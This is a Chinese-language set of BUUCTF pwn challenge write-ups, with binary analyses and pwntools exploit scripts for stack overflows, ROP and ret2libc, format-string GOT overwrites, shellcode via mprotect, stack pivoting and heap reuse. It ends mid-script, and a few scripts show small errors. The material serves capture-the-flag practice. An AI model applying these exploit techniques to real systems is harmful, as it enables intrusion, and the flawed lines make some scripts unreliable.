获取中...

-

Just a minute...

BUUCTF pwn wp

test_your_nc

直接nc连

rip

无保护,直接覆盖,偏移是0xf+8,/bin/sh在0x40118A

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
sh=0
def connect (debug):
global sh
if (debug==1):
sh=process("./pwn1")
else:
sh=remote('node3.buuoj.cn',26345)
def pwn():
offset=0xf+8
payload=offset*'a'+p64(0x40118a)
sh.sendline(payload)
sh.interactive()
if __name__ == "__main__":
connect(0)
pwn()

warmup_csaw_2016

64位elf,保护没开,gets函数溢出,system函数直接cat flag。简单的溢出。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
sh=0
def connect (debug):
global sh
if (debug==1):
sh=process("./warmup_csaw_2016")
else:
sh=remote('node3.buuoj.cn',29288)
def pwn():
offset=72
payload=offset*'a'+p64(0x40060D)
sh.sendline(payload)
sh.interactive()
if __name__ == "__main__":
connect(0)
pwn()

pwn1_sctf_2016

开启了NX,getf函数造成溢出,有system函数,传入的数据限制在32个字符,但程序输入I时会变成you,一个字节变成三个字节,可以溢出。32乘3是96,大于3C(60),溢出需要3C+4=64,是21个I和一个非I字符

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
context.log_level = "debug"
context.arch = "i386"
elf = ELF("pwn1_sctf_2016")
sh = 0
def pwn(ip,port,debug):
global sh
if(debug == 1):
sh = process("./pwn1_sctf_2016")
else:
sh = remote(ip,port)
get_flag=hex(elf.symbols['get_flag'])
log.success('get_flag_addr => {}'.format(hex(get_flag)))
payload = "I"*21 + "A"*1 + p32(get_flag)
sh.sendline(payload)
sh.interactive()
if __name__ == "__main__":
pwn("node3.buuoj.cn",29814,0)

ciscn_2019_n_1

开启了NX和canary,gets函数存在溢出,可以通过v1覆盖v2的值然后执行system函数获取flag,v1在0x30,v2在0x4,偏移是2c,v2的地址是0x41348000

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
context.log_level = "debug"
context.arch = "i386"
elf = ELF("ciscn_2019_n_1")
sh = 0
def pwn(ip,port,debug):
global sh
if(debug == 1):
sh = process("./ciscn_2019_n_1")
else:
sh = remote(ip,port)
offset=44
addr=0x41348000
payload = "a"*offset+p64(addr)
sh.sendline(payload)
sh.interactive()
if __name__ == "__main__":
pwn("node3.buuoj.cn",26199,0)

ciscn_2019_c_1

https://thriumph.top/ciscn_2019_c_1.html

[OGeek2019]babyrop

https://github.com/196011564/CTFQuestion/raw/master/OPPO_OGEEK/pwn/babyrop/libc-2.23.so

基本信息

1
2
3
4
5
6
7
8
pwn: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, for GNU/Linux 2.6.32, BuildID[sha1]=6503b3ef34c8d55c8d3e861fb4de2110d0f9f8e2, stripped
☁ OGeek2019.babyrop checksec pwn
[*] '/home/Thriumph/pwn/buu/OGeek2019.babyrop/pwn'
Arch: i386-32-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

ida查看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int __cdecl main()
{
int buf; // [esp+4h] [ebp-14h]
char v2; // [esp+Bh] [ebp-Dh]
int fd; // [esp+Ch] [ebp-Ch]

sub_80486BB();
fd = open("/dev/urandom", 0);
if ( fd > 0 )
read(fd, &buf, 4u);
v2 = sub_804871F(buf);
sub_80487D0(v2);
return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int __cdecl sub_804871F(int a1)
{
size_t v1; // eax
char s; // [esp+Ch] [ebp-4Ch]
char buf[7]; // [esp+2Ch] [ebp-2Ch]
unsigned __int8 v5; // [esp+33h] [ebp-25h]
ssize_t v6; // [esp+4Ch] [ebp-Ch]

memset(&s, 0, 0x20u);
memset(buf, 0, 0x20u);
sprintf(&s, "%ld", a1);
v6 = read(0, buf, 0x20u);
buf[v6 - 1] = 0;
v1 = strlen(buf);
if ( strncmp(buf, &s, v1) )
exit(0);
write(1, "Correct\n", 8u);
return v5;
}
1
2
3
4
5
6
7
8
9
10
11
ssize_t __cdecl sub_80487D0(char a1)
{
ssize_t result; // eax
char buf; // [esp+11h] [ebp-E7h]

if ( a1 == 127 )
result = read(0, &buf, 0xC8u);
else
result = read(0, &buf, a1);
return result;
}

main函数生成了随机数通过read放入buf传入sub_804871F(),sprintf放入s,之后用户通过read读入buf,与随机数s进行比较。之后返回v5当作sub_80487D0()的参数,看下栈布局。

可以覆盖掉,之后就是要想办法绕过检测了。read是读到\n停止,而strlen是到/0就停止了。strlen函数遇到\x00就会停止,只要将 buf 的第一位输入\x00,使strlen的长度位0,就可以绕过 strncmp 函数,同时覆盖了v5,进入sub_804871F()就可以正常rop了

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
from LibcSearcher import *
p=remote('node3.buuoj.cn',27287)
#p=process('./pwn')
elf=ELF('./pwn')

write_plt=elf.plt['write']
read_got=elf.got['read']
read_plt=elf.plt['read']
main_addr=0x8048825

#bypass strcmp
offset1 = 0x2c - 0x25 #buf v5
payload1='\x00' + '\xff' * offset1
p.sendline(payload1)
p.recvuntil('Correct\n')

#leak read
payload2='a'*0xe7+ p32(4) + p32(write_plt) + p32(main_addr) + p32(1) + p32(read_got) + p32(4)
p.sendline(payload2)

read_addr=u32(p.recv(4))
libc=LibcSearcher('read',read_addr)
libc_base=read_addr-libc.dump('read')
system_addr=libc_base+libc.dump('system')
binsh_addr=libc_base+libc.dump('str_bin_sh')

p.sendline(payload1)
p.recvuntil('Correct\n')

payload3 = 'a'*0xe7+ p32(4) + p32(system_addr) +p32(4) + p32(binsh_addr)
p.sendline(payload3)

p.interactive()

ciscn_2019_en_2

gets函数存在栈溢出,没有system和bin/sh所以需要构造ROP,所以就是泄露出函数地址,确定libc,然后构造ROP。和ciscn_2019_c_1一样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *
from LibcSearcher import *
sh = remote('node3.buuoj.cn',29654)
#sh = process('./pwn')
elf = ELF('./pwn')

main_addr = elf.sym['main']
log.success('main_addr => {}'.format(hex(main_addr)))
pop_rdi_ret = 0x400c83

puts_plt = elf.plt['puts']
gets_got = elf.got['gets']
puts_got = elf.got['puts']
log.success('puts_plt => {}'.format(hex(puts_plt)))#0x4006e0
log.success('gets_got => {}'.format(hex(gets_got)))#0x602050
log.success('puts_got => {}'.format(hex(puts_got)))#0x602020

payload1 = 'a' * 88
payload1 += p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt)
payload1 += p64(main_addr)

sh.sendlineafter('Input your choice!\n', '1')
sh.sendline(payload1)
sh.recvuntil('@')
sh.recvline()

puts_addr = u64(sh.recvline()[:-1].ljust(8, '\0'))
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')

log.success('puts_addr => {}'.format(hex(puts_addr)))
log.success('libc_base_addr => {}'.format(hex(libc_base)))
log.success('system_addr => {}'.format(hex(system_addr)))
log.success('binsh_addr => {}'.format(hex(binsh_addr)))

ret=0x4006b9
payload2 = 'a' * 88
payload2 += p64(0x4006b9)
payload2 += p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr)

sh.sendlineafter('Input your choice!\n', '1')
sh.sendline(payload2)
sh.interactive()

get_started_3dsctf_2016

没有开cannary和PIE保护

1
2
3
4
5
6
7
pwn: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, not stripped  

Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

main

1
2
3
4
5
6
7
8
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4; // [esp+4h] [ebp-38h]

printf("Qual a palavrinha magica? ", v4);
gets(&v4);
return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
void __cdecl get_flag(int a1, int a2)
{
int v2; // eax
int v3; // esi
unsigned __int8 v4; // al
int v5; // ecx
unsigned __int8 v6; // al

if ( a1 == 814536271 && a2 == 425138641 )
{
v2 = fopen("flag.txt", "rt");
v3 = v2;
v4 = getc(v2);
if ( v4 != 255 )
{
v5 = (char)v4;
do
{
putchar(v5);
v6 = getc(v3);
v5 = (char)v6;
}
while ( v6 != 255 );
}
fclose(v3);
}
}

题目里有mprotect函数,这个函数可以改变程序内存空间的读写执行权限。

1
2
int mprotect(const void *start, size_t len, int prot);
参数start表示开始的内存地址,len是要操作的内存大小,prot表示权限

要使用mprotec函数修改内存的权限为可读可写可执行,再使用read函数写入shellcode到bss段

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
p = remote('node3.buuoj.cn','29770')
#p = process('./pwn')
elf = ELF('./pwn')
pop3_ret = 0x0804951D
get_flag = 0x080489A0
got_addr = 0x080EB000
payload = 'a'*0x38+p32(elf.symbols['mprotect'])
payload += p32(pop3_ret)+p32(got_addr)+p32(0x1d8c)+p32(0x7)
payload += p32(elf.symbols['read'])
payload += p32(pop3_ret)+p32(0)+p32(got_addr)+p32(0x100)+p32(got_addr)
p.sendline(payload)
payload=asm(shellcraft.sh())
p.sendline(payload)
p.interactive()

[第五空间2019 决赛]PWN5

32位elf文件,无PIE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
int __cdecl main(int a1)
{
unsigned int v1; // eax
int fd; // ST14_4
int result; // eax
int v4; // ecx
unsigned int v5; // et1
char nptr; // [esp+4h] [ebp-80h]
char buf; // [esp+14h] [ebp-70h]
unsigned int v8; // [esp+78h] [ebp-Ch]
int *v9; // [esp+7Ch] [ebp-8h]

v9 = &a1;
v8 = __readgsdword(0x14u);
setvbuf(stdout, 0, 2, 0);
v1 = time(0);
srand(v1);
fd = open("/dev/urandom", 0);
read(fd, &unk_804C044, 4u);
printf("your name:");
read(0, &buf, 0x63u);
printf("Hello,");
printf(&buf); // 格式化字符串漏洞
printf("your passwd:");
read(0, &nptr, 0xFu);
if ( atoi(&nptr) == unk_804C044 )
{
puts("ok!!");
system("/bin/sh");
}
else
{
puts("fail");
}
result = 0;
v5 = __readgsdword(0x14u);
v4 = v5 ^ v8;
if ( v5 != v8 )
sub_80493D0(v4);
return result;
}

格式化字符串漏洞,程序先是读入一个随机值保存值unk_804C044之中,然后与输入的passwd相比,如果相同,则可以获取一个shell。

思路1:直接利用格式化字符串改写unk_804C044之中的数据,然后输入数据对比得到shell。

思路2:利用格式化字符串改写atoi的got地址,将其改为system的地址,配合之后的输入,得到shell。也可以改写后面的函数的地址,拿到shell。 

exp1

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
p = remote('node3.buuoj.cn','29784')
#p = process('./pwn')
addr = 0x0804C044
#地址,也就相当于可打印字符串,共16byte
payload = p32(addr)+p32(addr+1)+p32(addr+2)+p32(addr+3)
#开始将前面输出的字符个数输入到地址之中,hhn是单字节输入,其偏移为10
#%10$hhn就相当于读取栈偏移为10的地方的数据,当做地址,然后将前面的字符数写入到地址之中
payload += "%10$hhn%11$hhn%12$hhn%13$hhn"
p.sendline(payload)
p.sendline(str(0x10101010))
p.interactive()

exp2

1
2
3
4
5
6
7
8
9
10
from pwn import *
p = remote('node3.buuoj.cn','29784')
#p = process('./pwn')
elf = ELF('./pwn')
atoi_got = elf.got['atoi']
system_plt = elf.plt['system']
payload=fmtstr_payload(10,{atoi_got:system_plt})
p.sendline(payload)
p.sendline('/bin/sh\x00')
p.interactive()

ciscn_2019_n_8

这个题目非常好分析。var可以看做是一个int型的数组,根据源码得到*(_QWORD *)&var[13] == 17就可以得到shell,QWORD是8个字节,所以意思是要将var[13]之后的8个字节的数据赋值为17。

1
2
3
4
5
6
from pwn import *
p = remote('node3.buuoj.cn','26678')
#p = process('./pwn')
payload = "a"*13*4 + p32(17)
p.sendlineafter("?",payload)
p.interactive()

jarvisoj_level0

只开启了NX保护。调用了system函数,所以覆盖返回地址为system的地址就行了。system地址是0x400596。buf是80h,64位覆盖88

1
2
3
4
5
6
from pwn import *
p = remote('node3.buuoj.cn','28992')
#p = process('./pwn')
payload = 'a' * 0x88 + p64(0x400596)
p.sendline(payload)
p.interactive()

picoctf_2018_buffer overflow 0

strcpy至buf时导致栈溢出

1
2
3
4
5
from pwn import *
elf = ELF("./vuln")
payload = "a" * 0x18 + "b" * 0x4 + p32(elf.plt["puts"]) + p32(0xdeadbeef) + p32(0x0804A080)
p = process(argv=["./vuln" , payload])
p.interactive()

picoctf_2018_buffer overflow 1

32位没有保护,溢出后劫持返回地址为win函数直接getflag

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
p = remote('node3.buuoj.cn','25176')
#p = process('./pwn')
elf = ELF('./pwn')

buf = 0x28
win_addr = 0x080485CB

payload = 'a'*buf + 'aaaa' + p32(win_addr)
p.sendline(payload)

p.interactive()

picoctf_2018_buffer overflow 2

32位开启了NX保护,和上一题差不多,不同的是需要满足if ( a1 == 3735928559 && a2 == 3735929054 ),所以要通过vuln函数里的栈溢出把执行流劫持到win函数,并且要使传入的参数为0xDEADBEEF和0xDEADC0DE,由于是32位程序,所以直接p32(0xDEADBEEF)+p32(0xDEADC0DE)构造ROP来getflag。

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import*
p = remote('node3.buuoj.cn','25861')
#p = process('./pwn')
elf = ELF('./pwn')

buf = 'a' * 0x6c
win_addr = 0x80485CB

payload = buf + 'aaaa' + p32(win_addr)+ 'aaaa' + p32(0xDEADBEEF) + p32(0xDEADC0DE)
p.sendline(payload)

p.interactive()

picoctf_2018_rop chain

32位开启了NX保护,gets函数存在溢出,win_function1函数将win1设置成1

1
2
3
4
void win_function1()
{
win1 = 1;
}

win_function2函数的作用是在win1非0且传入的参数为0xBAAAAAAD时将全局变量win2的值赋为1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int __cdecl win_function2(int a1)
{
int result; // eax

result = (unsigned __int8)win1;
if ( win1 && a1 == 0xBAAAAAAD )
{
win2 = 1;
}
else if ( win1 )
{
result = puts("Wrong Argument. Try Again.");
}
else
{
result = puts("Nope. Try a little bit harder.");
}
return result;
}

flag函数的作用是当全局变量win1,win2都不为0且传入的参数为0xDEADBAAD时输出flag,这样我们就知道要通过vuln函数里的栈溢出来构造ROP去分别执行这三个函数getflag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int __cdecl flag(int a1)
{
char s; // [esp+Ch] [ebp-3Ch]
FILE *stream; // [esp+3Ch] [ebp-Ch]

stream = fopen("flag.txt", "r");
if ( !stream )
{
puts(
"Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.");
exit(0);
}
fgets(&s, 48, stream);
if ( win1 && win2 && a1 == -559039827 )
return printf("%s", &s);
if ( win1 && win2 )
return puts("Incorrect Argument. Remember, you can call other functions in between each win function!");
if ( win1 || win2 )
return puts("Nice Try! You're Getting There!");
return puts("You won't get the flag that easy..");
}

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import*
p = remote('node3.buuoj.cn','25104')
#p = process('./pwn')
elf = ELF('./pwn')
win1 = 0x080485CB
win2 = 0x080485d8
flag = 0x0804862B
pop_ret = 0x080485d6
buf = 'a'*0x18

payload2 = buf + "aaaa" + p32(win1) + p32(win2) + p32(flag) + p32(0xBAAAAAAD) + p32(0xDEADBAAD)

payload = buf + 'aaaa'
payload += p32(win1) + p32(pop_ret) + p32(0)
payload += p32(win2) + p32(pop_ret) + p32(0xBAAAAAAD)
payload += p32(flag) + p32(pop_ret) + p32(0xDEADBAAD)

p.recvuntil('>')
p.sendline(payload)
#p.sendline(payload2)
p.interactive()

picoctf_2018_shellcode

32位没开启任何保护的elf文件,输入shellcode ,执行shellcode

1
2
3
4
5
from pwn import *
p = remote('node3.buuoj.cn','29687')
payload = asm(shellcraft.sh())
p.sendline(payload)
p.interactive()

picoctf_2018_are you root

64位,开启了nx和canary

malloc重复使用释放的空间而不将其清零。因此,如果我们为用户名创建一个块,然后释放,并创建一个用户对象,则该用户对象在内存中的空间将与刚刚释放的用户名缓冲区相同。

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
p = remote('node3.buuoj.cn','25204')

p.sendlineafter('> ', 'login {}'.format('\x05'*9))
p.sendlineafter('> ', 'reset')

p.sendlineafter('> ', 'login a')
p.sendlineafter('> ', 'show')
p.sendlineafter('> ', 'get-flag')

p.interactive()

picoctf_2018_got_shell

32位开启了NX保护

程序流程大概改是这样

1
2
3
4
5
6
I'll let you write one 4 byte value to memory. Where would you like to write this 4 byte value?
12345678
Okay, now what value would you like to write to 0x12345678
34567890
Okay, writing 0x34567890 to 0x12345678
[1] 16534 segmentation fault (core dumped)

先一个十六进制的地址,然后输入一个十六进制的数值,之后第一次输入的地址的值就被替换成输入的数值。用win函数的地址去替换puts_got,这样在程序调用puts时就相当调用了win函数来getshell。

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
elf = ELF('./pwn')
p = remote('node3.buuoj.cn','28883')

puts_got = elf.got['puts']
log.success('put_got => {}'.format(hex(puts_got)))
win_addr = 0x0804854b

p.sendline(hex(puts_got))
sleep(1)
p.sendline(hex(win_addr))

p.interactive()

picoctf_2018_can_you_gets_me

静态的文件,gets函数造成栈溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *
from struct import pack

sh = remote('node3.buuoj.cn','27152')
#sh = process('./pwn')

# Padding goes here
p = 'a'*28

p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b81c6) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b81c6) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08049303) # xor eax, eax ; ret
p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080de955) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08049303) # xor eax, eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0806cc25) # int 0x80

sh.recvuntil('NAME!')
sh.sendline(p)
sh.interactive()

not_the_same_3dsctf_2016

mprotect函数修改bss段的权限,让其有执行权限,再用read写入shellcode,然后跳转到bss段执行来getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
#p = process('./pwn')
p = remote('127.0.0.1','10001')
elf = ELF('./pwn')

mprotect_start = elf.symbols['mprotect']
read_addr = elf.symbols['read']
main_addr = elf.symbols['main']
#0x0806fcc8 : pop esi ; pop ebx ; pop edx ; ret
pop_ret = 0x0806fcc8


mprotect_addr = 0x80EB000
mprotect_size = 0x1000
mprotect_proc = 0x7

shell=asm(shellcraft.sh())

payload = 'a' * 0x2d + p32(mprotect_start)
payload += p32(pop_ret) + p32(mprotect_addr) + p32(mprotect_size) + p32(mprotect_proc)
payload += p32(read_addr)
payload += p32(pop_ret) + p32(0) + p32(mprotect_addr) + p32(len(shell)) + p32(mprotect_addr)

p.sendline(payload)
p.sendline(shell)
p.interactive()

babyheap_0ctf_2017

http://thriumph.top/babyheap-0ctf-2017-fastbin-attack.html

[HarekazeCTF2019]baby_rop

简单rop,有system函数,还能找到bin/sh利用万能的gadget,pop rdi ret传入字符串并调用system,得到shell。

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
#p = process('./pwn')
p = remote('node3.buuoj.cn','26231')
elf = ELF('./pwn')

system_addr = elf.symbols['system']
binsh_addr = 0x601048
pop_rdi_ret = 0x400683

payload = 'a' * 0x10 + p64(0) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr)
p.sendline(payload)
p.interactive()

ciscn_2019_s_3

http://thriumph.top/ciscn-2019-s-3.html

jarvisoj_level2

32位,开启了nx保护,有system函数,有binsh

1
2
3
4
5
6
7
8
from pwn import *
p = remote('node3.buuoj.cn','25521')
binsh_addr = 0x0804a024
system_addr = 0x08048320
read_addr = 0x08048310
payload = 'a' * (0x88 + 0x4) + p32(system_addr) + p32(read_addr) + p32(binsh_addr)
p.sendline(payload)
p.interactive()

[HarekazeCTF2019]baby_rop2

64位开启nx保护,ret2libc。通过printf泄露read的函数地址计算libc的基址,ROP链构造system(‘/bin/sh’)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *
from LibcSearcher import *
#p = process('./pwn')
p =remote('node3.buuoj.cn','28196')
elf = ELF('./pwn')

rdi_ret = 0x400733
rsi_r15_ret = 0x400731
format_str = 0x400770

read_got = elf.got['read']
printf_plt = elf.plt['printf']
main_plt = elf.sym['main']

payload='a'*0x20 + 'b'*0x8
payload+=p64(rdi_ret) + p64(format_str)
payload+=p64(rsi_r15_ret) + p64(read_got) + p64(0)
payload+=p64(printf_plt) + p64(main_plt)

p.recvuntil("What's your name?")
p.sendline(payload)

read_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
libc = LibcSearcher('read', read_addr)
libc_base = read_addr - libc.dump('read')
system_addr = libc_base + libc.dump('system')
binsh = libc_base + libc.dump('str_bin_sh')

payload2 = 'a'*0x28 + p64(rdi_ret) + p64(binsh) + p64(system_addr) + p64(0)
p.sendline(payload2)
p.interactive()

pwn2_sctf_2016

32开启了nx保护,读入数据的长度有限制,不能造成溢出,但是字符串传入的值类型是unsigned int,而判断长度的类型是int,输入负数就会造成缓冲区溢出,然后泄露libc地址执行ROP

先调用printf函数将printf的got表的值打印出来,根据它使用LibcSearcher计算libc的基地址,并让程序跳转到main开头,ROP链为p32(printf_plt) + p32(main) + p32(printf_got)

构造ROP链为p32(system) + p32(main) + p32(bin_sh)就能获得shell了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
from LibcSearcher import *
p= remote("node3.buuoj.cn", 26644)
#p = process("./pwn")
elf = ELF("./pwn")
printf_plt = elf.plt['printf']
printf_got = elf.got['printf']
main_addr = elf.symbols['main']

p.recvuntil("How many bytes do you want me to read? ")
p.sendline('-1')
p.recvuntil('\n')
payload1 = 'a' * 0x30 + p32(printf_plt) + p32(main_addr) + p32(printf_got)
p.sendline(payload1)
p.recvuntil('\n')

printf_addr = u32(p.recv(4))
libc = LibcSearcher('printf', printf_addr)
libc_base = printf_addr - libc.dump('printf')
system = libc_base + libc.dump('system')
binsh = libc_base + libc.dump('str_bin_sh')

p.sendline('-1')
p.recvuntil('\n')
payload2 = 'a' * 0x30 + p32(system) + p32(main_addr) + p32(binsh)
p.sendline(payload2)
p.interactive()

ciscn_2019_ne_5

开启了nx保护,ret2text,有system,但没有/bin/sh),从fflush中获取 “sh” 传参给system

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
#p = process('./pwn')
p = remote('node3.buuoj.cn','25548')
elf = ELF('./pwn')
system_plt = elf.plt['system']
sh_addr = 0x80482ea

p.recvuntil('Please input admin password:')
p.sendline('administrator')

p.recvuntil('0.Exit\n:')
p.sendline('1')
payload = 'a' * 0x4c + p32(system_plt) + 'aaaa' + p32(sh_addr)
p.recvuntil('Please input new log info:')
p.sendline(payload)

p.recvuntil('0.Exit\n:')
p.sendline('4')
p.interactive()

ez_pz_hackover_2016

http://thriumph.top/ez-pz-hackover-2016.html

ciscn_2019_n_5

64位溢出,无保护,直接shellcode

shellcode + 溢出 + 栈转移

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
#p = process('./pwn')
context(arch='amd64',os='linux')
p = remote('node3.buuoj.cn','25937')

name_addr = 0x0601080

shellcode = asm(shellcraft.sh())
p.recvuntil('tell me your name\n')
p.sendline(shellcode)
payload = 'a' * (0x20+8) + p64(name_addr)
p.sendline(payload)
p.recvuntil('What do you want to say to me?')
p.interactive()

jarvisoj_level2_x64

64位开启了NX保护,有system函数,有bin/sh。

32位的函数在调用栈的时候是:

调用函数地址->函数的返回地址->参数n->参数n-1....->参数1

64位的函数在调用栈的时候是:

前六个参数按照约定存储在寄存器:rdi,rsi,rdx,rcx,r8,r9中。
参数超过六个的时候,第七个会压入栈中,并且先输入函数的返回地址,然后是函数的参数,之后才是函数的调用地址
1
2
3
4
5
6
7
8
9
from pwn import *
p = remote('node3.buuoj.cn','28603')
#p = process('./pwn')
binsh_addr = 0x600a90
system_addr = 0x4004C0
rdi_ret = 0x4006B3
payload = 'a' * 0x88 + p64(rdi_ret) + p64(binsh_addr) + p64(system_addr)
p.sendline(payload)
p.interactive()

[Black Watch 入群题]PWN

栈迁移

1
2
3
4
5
6
7
8
9
10
11
12
13
ssize_t vul_function()
{
size_t v0; // eax
size_t v1; // eax
char buf; // [esp+0h] [ebp-18h]

v0 = strlen(m1);
write(1, m1, v0);
read(0, &s, 0x200u);
v1 = strlen(m2);
write(1, m2, v1);
return read(0, &buf, 0x20u);
}

第二个read函数只能控制0x20-0x18=0x8个字节,无法构造rop链,第一个read读到bss段中了,可以构造rop链,然后迁移到这个地址执行,计算出偏移是28,之后就是泄漏libc,getshell了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *
from LibcSearcher import *
p = remote('node3.buuoj.cn',26620)
#p = process('./pwn')
elf = ELF('./pwn')

write_plt = elf.plt['write']
write_got = elf.got['write']
main_addr = elf.symbols['main']
bss_addr = 0x0804A300
leave_ret = 0x08048511

payload = p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4)
p.recvuntil("What is your name?")
p.send(payload)

payload1 = 'a' * 0x18 + p32(bss_addr-4) + p32(leave_ret)
p.recvuntil("What do you want to say?")
p.send(payload1)

write_addr = u32(p.recv(4))
libc = LibcSearcher('write',write_addr)
libc_base = write_addr - libc.dump('write')
system_addr = libc_base + libc.dump('system')
binsh = libc_base + libc.dump('str_bin_sh')

p.recvuntil("What is your name?")
payload2 = p32(system_addr) + p32(main_addr) + p32(binsh)
p.send(payload2)

p.recvuntil("What do you want to say?")
p.send(payload1)
p.interactive()

ciscn_2019_es_2

开启了nx保护,有system函数,存在溢出,但只能覆盖ebp和ret,vul函数中有两次read和printf第一次可以用来泄露ebp,得到栈地址,然后进行栈迁移。然后利用main函数返回时将控制流转到system。偏移是0x28

有system,可以不用libc,但是要泄露EBP

)

0x28 + 0x4 = 44 = 0x2c = addr_3
addr_1 = 44 - 4 - 4 = 36 = 0x24
addr_2 = 44 - 4*5 = 24 = 0x1c (sys_ret不在ebp上偏移传参)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
p = remote("node3.buuoj.cn",28217)
#p = process('./pwn')
elf = ELF("./pwn")

system_addr = 0x8048400
playload = 'a' * 0x20 + "b" * 8
p.send(playload)
p.recvuntil('bbbbbbbb')
ebp = u32(p.recv(4))

payload2 = ('a' * 8 + p32(ebp-0x24) + 'bbbb' + p32(system_addr) + 'cccc' + p32(ebp-0x1c) + '/bin/sh\x00').ljust(0x28,'p') + p32(ebp-0x2c)

p.send(payload2)
p.interactive()

bjdctf_2020_babystack

栈溢出跳转到后门函数

1
2
3
4
5
6
7
from pwn import * 
p = remote('node3.buuoj.cn',25842)
backdoor = 0x4006e6
payload = 'a' * (0x10+8) + p64(backdoor)
p.sendline('100')
p.sendline(payload)
p.interactive()

jarvisoj_level3

32位栈溢出,开启nx保护,无libc,system和bin/sh,想办法泄漏libc,getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
from LibcSearcher import *
p = remote('node3.buuoj.cn',26008)
#p = process('./pwn')
elf = ELF('./pwn')
offset = 0x88
vulfun_addr=0x0804844B
write_got = elf.got["write"]
write_plt = elf.symbols["write"]

payload1 = 'a' * offset +"bbbb" + p32(write_plt) + p32(vulfun_addr) + p32(1) + p32(write_got) + p32(4)
p.recvuntil("Input:\n")
p.sendline(payload1)

write_addr = u32(p.recv(4))
libc = LibcSearcher('write',write_addr)
libc_base = write_addr - libc.dump('write')
